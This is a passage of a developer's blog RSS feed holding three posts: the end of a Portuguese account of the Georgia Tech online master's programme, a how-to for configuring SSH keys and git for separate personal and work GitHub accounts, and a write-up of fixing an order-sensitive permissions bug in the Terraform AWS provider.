<p>Algumas disciplinas não tem office hours, mas os instrutores postam nas ferramentas de discussão (como o Piazza) toda semana detalhando mais sobre os assuntos que devem ser estudados. Você também sempre pode perguntar e os instrutores e outros alunos respondem.</p>
<p>Algumas disciplinas tem provas, outras tem somente projetos. Algumas tem um mix dos dois. Mais uma vez usando o exemplo de algoritmos, a disciplina tinha 3 provas e homework para ser entregue toda semana. Outra matéria como a de Testing, liberava todos os projetos no começo e você poderia ir fazendo no seu ritmo, cada projeto tendo uma deadline diferente.</p>
<p>Antes de escolher as disciplinas que você vai pegar, recomendo ir ao Slack dos estudantes e tirar esse tipo de dúvida. Tem dois sites que podem te ajudar:</p>
<p><a target="_blank" href="https://www.omscentral.com/">https://www.omscentral.com/</a> - Esse está mais desatualizado, porém você consegue ver feedback sobre disciplinas mais antigas;</p>
<p><a target="_blank" href="https://docs.google.com/spreadsheets/d/e/2PACX-1vRyHrRhH2V52bsYFEtm-8oJDaFOlyGYz6AKXm8WwsthN3fNP3KGkEx7O7D9ZHV3j2iKnzU2XHqoh4pQ/pubhtml">https://docs.google.com/spreadsheets/d/e/2PACX-1vRyHrRhH2V52bsYFEtm-8oJDaFOlyGYz6AKXm8WwsthN3fNP3KGkEx7O7D9ZHV3j2iKnzU2XHqoh4pQ/pubhtml</a> - Essa spreadsheet não tem reviews, mas te ajuda a ver quantas vagas uma disciplinas pode ter em cada período e os canais do Slack de cada disciplina.</p>
<h3 id="heading-disciplinas-minimas">Disciplinas Mínimas</h3>
<p>Não consegui achar o link onde explica isso, mas lá são 3 períodos por ano, diferente do Brasil:</p>
<ul>
<li><p>Spring - Começo do ano</p>
</li>
<li><p>Summer - Junho - Agosto</p>
</li>
<li><p>Fall - Final do ano</p>
</li>
</ul>
<p>Eles permitem que você passe um período sem estudar, e você não precisa avisá-los. Porém se forem dois períodos consecutivos, você precisa entrar em contato para explicar o motivo. Muita gente decide não pegar matérias no verão por serem somente 3 meses, e os cursos serem mais corridos, e outras pessoas decidem por pegar disciplinas mais fáceis no verão.</p>
<h3 id="heading-tempo-maximo">Tempo máximo</h3>
<p><a target="_blank" href="https://omscs.gatech.edu/omscs-faqs">https://omscs.gatech.edu/omscs-faqs</a></p>
<p>Eles permitem que você conclua em até 6 anos. Conheci muita gente que terminou em 2, 2 anos e meio. Eu preferi fazer mais lento para poder conciliar com minha vida profissional e pessoal, então termine em 3 anos e meio (passei alguns períodos sem fazer nenhuma e fiz 2 em outros).</p>
<h2 id="heading-custo">Custo</h2>
<p>O custo varia em cada período dependendo de quantas disciplinas você paga. Em dezembro de 2024, paguei o seguinte por disciplina:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Payment to Georgia Institute of Technology:</td><td>$585.00</td></tr>
</thead>
<tbody>
<tr>
<td>PayPath Payment Service Fee:</td><td>$24.86</td></tr>
<tr>
<td>Total payment amount:</td><td>$609.86</td></tr>
</tbody>
</table>
</div><p>Essa taxa de 24 dólares é referente ao cartão de crédito.</p>
<h2 id="heading-beneficios">Benefícios</h2>
<p><a target="_blank" href="https://sites.gatech.edu/omsfreeanddiscounted/">https://sites.gatech.edu/omsfreeanddiscounted/</a></p>
<p>Só de ser estudante da Georgia Tech, você tem acesso a vários softwares de graça, como Github Student Pack, biblioteca da O'Reilly (usei bastante), Headspace, YNAB, entre outros.</p>
<p>Você tem acesso ao Slack onde todos os estudantes estão, e tem vários canais com cada disciplina.</p>
<h2 id="heading-tcc">TCC?</h2>
<p>O mestrado da Georgia Tech não pede que você faça nenhum projeto, tese ou artigo ao final do curso. O mais próximo que tem disso, pelo que soube, é numa disciplina de iniciação a pesquisa científica. No meu caso, não fiz essa disciplina pois não tinha tanto interesse em pesquisa acadêmica. Pude concluir apenas fazendo as 10 disciplinas.</p>
<h2 id="heading-vale-a-pena">Vale a pena?</h2>
<p>Valeu muito a pena! Pude estudar assuntos que não teria motivação pra estudar sozinho, como GPU e Algoritmos. Também pude fazer muito networking, conheci bastante gente que trabalhava em Big Tech, gente do outro lado do mundo, fiz bons amigos e companheiros de estudos que fizeram várias disciplinas junto comigo.</p>
<p>Porém tudo isso tem um custo, espere ficar estressado, perder reuniões de amigos e familiares para completar projetos, atrasar algo no trabalho pq está chegando em alguma deadline de entrega de projeto…</p>
<p>Além das coisas que citei anteriormente, creio que meu maior ganho foi ter perdido o medo de aprofundar em qualquer assunto, de ler papers que não tem nada implementado e tentar implementar, etc.</p>
<h2 id="heading-conclusao">Conclusão</h2>
<p>Agradeço muito à minha esposa, minha família e aos amigos mais próximos pelo apoio e por entenderem quando eu não podia estar presente. Um abraço especial pra Rafael, grande companheiro de muitas disciplinas, e Pablo, Jessie, Ali e Kashyap pela super parceria de estudos, sem vocês eu não conseguiria ter terminado a disciplina de algoritmos :)</p>
<p>Agradeço também a Diego Pessoa, Luiz Carlos e Thiago Moura pelas referências como professores do IFPB, sem vocês eu não conseguiria ter entrado no mestrado.</p>
<p>É isso, se tiverem alguma dúvida podem me contatar pelo Linkedin ou deixar um comentário aqui que respondo assim que puder. :)</p>
]]></content:encoded></item><item><title><![CDATA[Multiple Github and SSH accounts]]></title><description><![CDATA[Hey!
Have you ever needed two different GitHub accounts — one for personal use and one for work? GitHub doesn’t allow the same SSH key to be used for multiple accounts; if you try to reuse it, you’ll see a “Key Already in Use” error.
So, what’s the b...]]></description><link>https://blog.diofeher.net/multiple-github-and-ssh-accounts</link><guid isPermaLink="true">https://blog.diofeher.net/multiple-github-and-ssh-accounts</guid><category><![CDATA[Developer]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[ssh]]></category><dc:creator><![CDATA[Diógenes Fernandes]]></dc:creator><pubDate>Tue, 05 Nov 2024 14:42:14 GMT</pubDate><content:encoded><![CDATA[<p>Hey!</p>
<p>Have you ever needed two different GitHub accounts — one for personal use and one for work? GitHub doesn’t allow the same SSH key to be used for multiple accounts; if you try to reuse it, you’ll see a “Key Already in Use” error.</p>
<p>So, what’s the best way to set this up on your computer?</p>
<p>First, you’ll need to create two separate SSH keys and add them to your GitHub accounts. I usually use this to generate them:</p>
<pre><code class="lang-json">cd ~/.ssh
ssh-keygen -t ed25519 -C <span class="hljs-string">"your-email@company.com"</span> -f company
ssh-keygen -t ed25519 -C <span class="hljs-string">"your-email@personal.com"</span> -f personal
</code></pre>
<p>Now you have 4 different files at <code>~/.ssh</code>. <code>company</code> and <code>personal</code> are your private keys. <code>company.pub</code> and <code>personal.pub</code> are the public keys you're going to add to Github.</p>
<p>Time to adjust your git config to use the proper keys in each repo. I usually have a folder workspace with all my projects, like the following structure:</p>
<pre><code class="lang-json">.workspace
├── personal
└── company
</code></pre>
<p>Define your <code>.ssh/config</code> in the following way:</p>
<pre><code class="lang-json">Host github-company
  HostName github.com
  AddKeysToAgent yes
  IdentityFile ~/.ssh/company

Host github.com
  HostName github.com
  AddKeysToAgent yes
  IdentityFile ~/.ssh/personal
</code></pre>
<p>The last step is to configure your <code>.gitconfig</code>:</p>
<pre><code class="lang-json">[user]
    # Personal configuration as default
    name = Your Name
    email = your-email@personal.com

[includeIf <span class="hljs-string">"gitdir:~/workspace/company"</span>]
        path = ~/.dotfiles/src/gitconfig/work
</code></pre>
<p>And on <code>~/.dotfiles/src/gitconfig/work</code>:</p>
<pre><code class="lang-json">[user]
    name = Your Name
    email = your-name@company.com
</code></pre>
<p>Now, if you want to clone a project at ~/workspace/company, you need to use the following command:</p>
<pre><code class="lang-json">git clone git@github-company:org/repo.git
</code></pre>
<p>Notice the host name will be different, that's what makes the connection between git and the work's SSH key. If you try to push or pull, the SSH key will be automatically be used. Check that with <code>git remote -v</code>:</p>
<pre><code class="lang-json">origin    git@github-company:org/repo.git (fetch)
origin    git@github-company:org/repo.git (push)
</code></pre>
<p>That's it! Feel free to comment if you have a better approach :)</p>
]]></content:encoded></item><item><title><![CDATA[My first Terraform AWS open-source contribution]]></title><description><![CDATA[Hello! It's been some time since I last posted on my old blog, so I decided to write again to improve my writing and communication skills.
I want to show you a problem that I faced at my current job.
The problem
I'm working at a data engineering proj...]]></description><link>https://blog.diofeher.net/terraform-aws-contribution</link><guid isPermaLink="true">https://blog.diofeher.net/terraform-aws-contribution</guid><category><![CDATA[Terraform]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Go Language]]></category><dc:creator><![CDATA[Diógenes Fernandes]]></dc:creator><pubDate>Thu, 18 Jul 2024 10:46:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1721299927522/64cb6893-3e41-4ff2-b52b-cd0b41b8ac33.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello! It's been some time since I last posted on my old <a target="_blank" href="https://diofeher.net/">blog</a>, so I decided to write again to improve my writing and communication skills.</p>
<p>I want to show you a problem that I faced at my current job.</p>
<h2 id="heading-the-problem">The problem</h2>
<p>I'm working at a data engineering project and the infrastructure is managed through Terraform. The Lake Formation permissions are managed there as well, but we were facing a really strange problem. Every time a terraform plan was triggered, it forced the replacement of the <a target="_blank" href="https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lakeformation_permissions">aws_lakeformation_permissions</a> resource:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721297505558/9a9082a8-847c-4e1a-a94a-0a846e6dcdea.png" alt class="image--center mx-auto" /></p>
<p>I could see a few people reporting this problem as well:</p>
<p><a target="_blank" href="https://github.com/hashicorp/terraform-provider-aws/issues/22570">https://github.com/hashicorp/terraform-provider-aws/issues/22570</a></p>
<p><a target="_blank" href="https://github.com/hashicorp/terraform-provider-aws/issues/31096">https://github.com/hashicorp/terraform-provider-aws/issues/31096</a></p>
<p>The Lake Formation permission is the guardrail for controlling who has access to the Glue Tables and which kind of permissions they can use. When the pipeline is replacing that every time, if a job is running, it can lose access until the permission is recreated. If you don't have a proper mechanism of retrying, it would mean you would have missing data due to the non-completion of the job.</p>
<h2 id="heading-fix-on-terraform-application-side">Fix on Terraform application side</h2>
<p>To fix the problem on Terraform it's pretty simple, you need to define the permissions in alphabetical order, like:</p>
<pre><code class="lang-plaintext"># Bug is triggered
resource "aws_lakeformation_permissions" "permission" {
    permissions = ["SELECT", "DESCRIBE"]
}

# Bug is fixed
resource "aws_lakeformation_permissions" "permission" {
    permissions = ["DESCRIBE", "SELECT"]
}
</code></pre>
<p>Even though this is a simple fix, the underlying problem in Terraform shouldn't exist. The order of the permissions shouldn't matter in this case. So, I decided to read the code for the AWS provider to provide a fix for the project.</p>
<h2 id="heading-understanding-terraform-aws-provider">Understanding Terraform AWS Provider</h2>
<p>Terraform AWS Provider docs are pretty good! I left a few good links here so you're able to contribute to the project as well:</p>
<ul>
<li><p><a target="_blank" href="https://hashicorp.github.io/terraform-provider-aws/running-and-writing-acceptance-tests/">https://hashicorp.github.io/terraform-provider-aws/running-and-writing-acceptance-tests/</a></p>
</li>
<li><p><a target="_blank" href="https://hashicorp.github.io/terraform-provider-aws/raising-a-pull-request/">https://hashicorp.github.io/terraform-provider-aws/raising-a-pull-request/</a></p>
</li>
<li><p><a target="_blank" href="https://hashicorp.github.io/terraform-provider-aws/changelog-process/">https://hashicorp.github.io/terraform-provider-aws/changelog-process/</a></p>
</li>
<li><p><a target="_blank" href="https://developer.hashicorp.com/terraform/plugin/sdkv2/testing/acceptance-tests/teststep">https://developer.hashicorp.com/terraform/plugin/sdkv2/testing/acceptance-tests/teststep</a></p>
</li>
</ul>
<p>A good thing to understand when you start to work in a new project, is to understand the conventions that are used on it. It's good to see previous commits, previous merged pull requests and see how other modules inside the repository are implementing the same stuff.</p>
<p>Here is an example of a merged pull request and its files: <a target="_blank" href="https://github.com/hashicorp/terraform-provider-aws/pull/18203/files">https://github.com/hashicorp/terraform-provider-aws/pull/18203/files</a></p>
<h2 id="heading-steps-to-fix-the-problem">Steps to Fix the Problem</h2>
<ol>
<li><p>Evaluate a minimal configuration to reproduce the problem;</p>
</li>
<li><p>Check for similar problems in the project's issue tracker;</p>
</li>
<li><p>See the code for the resource (aws_lakeformation_permissions) resource and understand its structure;</p>
</li>
<li><p>Create a failing acceptance test (tests with real resource creation in an AWS environment);</p>
</li>
<li><p>Fix the bug;</p>
</li>
<li><p>Make sure the acceptance test is passing.</p>
</li>
</ol>
<p>To create the failing acceptance test, I just needed to change the order of permissions, making sure they were not alphabetical:</p>
<pre><code class="lang-plaintext">=== RUN   TestAccLakeFormation_diogenes/PermissionsBasic/sequentialPlan
    permissions_test.go:818: Step 1/2 error: After applying this test step, the non-refresh plan was not empty.
        stdout:


        Terraform used the selected providers to generate the following execution
        plan. Resource actions are indicated with the following symbols:
        -/+ destroy and then create replacement

        Terraform will perform the following actions:

          # aws_lakeformation_permissions.test must be replaced
        -/+ resource "aws_lakeformation_permissions" "test" {
              ~ id                            = "403332802" -&gt; (known after apply)
              ~ permissions                   = [ # forces replacement
                  - "DESCRIBE",
                    "SELECT",
                  + "DESCRIBE",
                ]
              ~ permissions_with_grant_option = [] -&gt; (known after apply)
                # (2 unchanged attributes hidden)

              ~ table_with_columns {
                  ~ catalog_id    = "705532038218" -&gt; (known after apply)
                    name          = "tf-acc-test-7670134761911835478"
                    # (2 unchanged attributes hidden)
                }
            }

        Plan: 1 to add, 0 to change, 1 to destroy.
</code></pre>
<p>The problem is related to the resource's <a target="_blank" href="https://pkg.go.dev/github.com/hashicorp/terraform-plugin-sdk/v2@v2.34.0/helper/schema">schema</a> using a list, which makes the order of elements important. When AWS returns the information to Terraform for comparison, it indicates that they are different, forcing recreation:</p>
<ul>
<li><p>your resource: ["SELECT", "DESCRIBE"]</p>
</li>
<li><p>AWS return call: ["DESCRIBE", "SELECT"]</p>
</li>
</ul>
<p>The fix is quite simple: use a "set" instead of a list, so the order of elements is not considered. You can read the code here:</p>
<p><a target="_blank" href="https://github.com/hashicorp/terraform-provider-aws/pull/38047/files">https://github.com/hashicorp/terraform-provider-aws/pull/38047/files</a></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Contributing to open-source projects is a great way to improve your skills. You learn new ways to write code, explore new tools (like this <a target="_blank" href="https://github.com/katbyte/terrafmt">one</a>), and expand your knowledge.</p>
<p>It was a good motivator for me to start sending more PRs to them and to other projects. Some of them have already been accepted, but unfortunately, not this one yet.</p>
]]></content:encoded></item></channel></rss>